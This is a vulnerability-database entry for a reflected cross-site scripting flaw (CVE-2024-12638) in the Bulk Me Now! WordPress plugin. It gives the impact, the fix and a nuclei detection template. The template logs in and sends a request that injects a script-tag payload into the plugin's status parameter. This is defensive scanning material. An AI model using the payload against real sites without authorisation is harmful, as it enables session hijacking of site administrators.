HexBrain

Browse / CVEs / CVE-2024-12638

CVE-2024-12638· ombu / bulk me now· CWE-79

Bulk Me Now! Plugin <= 2.0 - Cross-Site Scripting

highseverity
7.1CVSS score
0.6%likelihood of exploitation, next 30 days
48%of all CVEs are less likely
Readycheck to confirm it

Bulk Me Now! WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the vulnerability is fixed or implement input sanitization and output escaping.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=bulkmenow-list&status=1"></script><script>alert(document.domain)</script><script>
Positive when: contains_all(body, "><script>alert(document.domain)</script><script>", "Unread Messages") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-12638 -u <target>

The full check
id: CVE-2024-12638

info:
  name: Bulk Me Now! Plugin <= 2.0 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    Bulk Me Now! WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed or implement input sanitization and output escaping.
  reference:
    - https://wpscan.com/vulnerability/a6f5b0fe-00a0-4e30-aec6-87882c035beb/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12638
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-12638
    cwe-id: CWE-79
    epss-score: 0.00571
    epss-percentile: 0.47584
    cpe: cpe:2.3:a:ombu:bulk_me_now\!:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ombu
    product: bulk_me_now
  tags: cve,cve2024,bulk-me-now,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=bulkmenow-list&status=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "><script>alert(document.domain)</script><script>", "Unread Messages")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from